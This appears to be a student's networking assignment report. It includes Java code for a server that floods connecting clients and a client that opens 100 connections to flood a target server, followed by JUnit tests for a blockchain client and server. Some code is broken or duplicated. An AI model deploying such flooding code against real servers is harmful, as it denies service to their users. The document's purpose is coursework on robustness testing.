COMP2121 Assignment

The Malicious Server

The malicious server that I created for this assignment accept connection from clients. It then proceeded to flood the client with random numbers though the printwriter when something was read from the bufferedreader. A fellow COMP2121 student who connected to my malicious server was met with a huge flood that forced them to terminate the client with ^C.

```
public void handler(InputStream is, OutputStream os) throws Exception {
  BufferedReader br = new BufferedReader(new InputStreamReader(is));
  PrintWriter pw = new PrintWriter(os, true);
  String line;
  Random rand = new Random();
  while((line = br.readLine()) != null){
    while(true){
      pw.println(rand.nextInt() + rand.nextInt() + rand.nextInt());
    }
  }
}
```

The Malicious Client

The malicious client that was created to destroy people's server was pretty simple. If it successfully connected to a server, 100 more threads were started to also connect to the server and begin a server flood. The problem with this malicious client was that it was resources intensive on the machine it was running on and the JVM stalled many times.

```java
import java.net.*;
import java.io.*;
import java.util.*;

public class MaliciousClient extends Thread{

  private Socket socket;

  public MaliciousClient(Socket socket){
    this.socket = socket;
  }

  public void run(){
    try{
      while(true){
        handler(socket.getInputStream(), socket.getOutputStream());
      }
    }
    catch(Exception e){}
    finally{
      System.exit(1);
    }
  }

  public void handler(InputStream is, OutputStream os) throws Exception {
    BufferedReader br = new BufferedReader(new InputStreamReader(is));
    PrintWriter pw = new PrintWriter(os, true);
    while((line = br.readLine()) != null){
      while(true){
        pw.println("Let the flood begin");
      }
    }
  }

  public static void main(String[] args){
    if(args.length != 2)
      return;
    Socket socket = new Socket(args[0], Integer.parseInt(args[1]));
    MaliciousClient[] mac = new MaliciousClient[100];
    for(int i = 0; i < mac.length; i++){
      mac[i] = new MaliciousClient(new Socket(args[0], Integer.parseInt(args[1])));
    }
    for(MaliciousClient m : mac)
      m.start();
    while(true);
  }
```

White Box Testing Code

In the white box testing of my code, only 3 classes were tested directly (ServerInfoList, BlockchainClient, BlockchainServer) as these were the only classes that had significant modification. The runnable BlockchainClient and BlockchainServer runnables were indirectly tested with their non-runnable counterpart classes.

ServerInfoList

The ServerInfoList involves accessing elements by a given index and removing elements from an arraylist. This means that it's methods are liable to throw a ConcurrentModificationException and IndexOutOfBoundsException.

```java
@Test
public void test_default_serverInfoList() {
    ServerInfoList server = new ServerInfoList();
    server.initialiseFromFile("ServerInfoFile");
    ArrayList<ServerInfo> list = server.getServerInfos();
    assertEquals(3, list.size());
    assertNull(list.get(0));
    assertNull(list.get(1));
    ServerInfo info = list.get(2);
    assertEquals(8333, info.getPort());
    assertEquals("localhost", info.getHost());

}

@Test
public void test_interleaving_serverInfoList(){
    ServerInfoList si = new ServerInfoList();
    si.initialiseFromFile("ServerInfoFileTheSecond");
    List<ServerInfo> list = si.getServerInfos();
    assertEquals(4, list.size());
    for(int i = 0; i < 2; i++)
        assertNull(list.get(i));
    for(int i = 2; i < 4; i++)
        assertNotNull(list.get(i));
    assertEquals(8333, list.get(2).getPort());
    assertEquals(8334, list.get(3).getPort());
}

@Test
public void test_trickyInput_serverInfoList() {
    try {
        ServerInfoList si = new ServerInfoList();
        si.initialiseFromFile("TrickyFile");
        assertEquals(10, si.getServerInfos().size());
        for(int i = 1; i < si.getServerInfos().size(); i++) {
```

```java
@Test
public void test_trickyInput_serverInfoList() {
    try {
        ServerInfoList si = new ServerInfoList();
        si.initialiseFromFile("TrickyFile");
        assertEquals(10, si.getServerInfos().size());
        for(int i = 1; i < si.getServerInfos().size(); i++) {
            assertNull(si.getServerInfos().get(i));
        }
        ServerInfo info = si.getServerInfos().get(0);
        assertNotNull(info);
        assertEquals("123.123.123.123", info.getHost());
        assertEquals(2025, info.getPort());
    }
    catch(Exception e) {
        fail("Exception was not handled");
    }
```

The ServerInfoList class was texted with various files to see how it could cope. One case that was not considered is the follwing example.

```
server0.port=2000
server0.port=2
```

Since the specification never specified whether an invalid port could override a valid one, the valid ones were overwritten.

BlockchainClient

The BlockchainClient tests cases targeted the exceptions NumberFormatException and IndexOutOfBoundsException.

The commands that are liable to generate these exceptions are the ad command, rm command, up command and the pb command. The ad, rm, up, and pb command all involve converting a string to an integer which means they are liable to cause a NumberFormatException. The rm, up and pb command all involving accessing a specific index with a collection which means they are liable to cause an IndexOutofBoundsException.

```
@Test
public void test_BlockchainClient() {

    try {
        String input = "ls\n";
        input += "rm|10\n";
        input += "rm|-1\n";
        input += "cl\n";
        input += "tx|aaaa1111|fff\n";
        input += "ad|\n";
        input += "ad|ben|-1\n";
        input += "up|111|localhost|3000\n";
        input += "up|1|localhost|3000|ffff\n";
        input += "pb|-1\n";
        input += "pb|100\n";
        input += "sd\n";
        System.setIn(new ByteArrayInputStream(input.getBytes()));
        BlockchainClient.main(new String[] {"ServerInfoFile"});
    }
    catch(Exception e) {
        System.err.println(e);
        e.printStackTrace();
        fail("Exceptions were caught");
    }
    finally {
        System.setIn(original);
    }
```

The test case above tested whether any exceptions were generated using various invalid commands.

BlockchainServer

```
while((line = br.readLine()) != null){
    if(line.equals("cc"))
        return;
    if(line.equals("pb"))
        pw.println(blockchain.toString());
    else {
        if(blockchain.addTransaction(line))
            pw.println("Accepted\n");
        else
            pw.println("Rejected\n");
    }
```

Since the BlockchainServer treated commands read as either cc, pb or tx there were only two possible avenues for exception generation from the client ends. The first was the client never sending any messages and therefore wasting precious server resources. This was remedied by setting the read timeout to 2 seconds.

```
clientSocket.setSoTimeout(2000);
```

The other avenue for exception generation was a flood from the client. This case was not really dealt with because a single client sending many messages is no different to many clients sending a single message.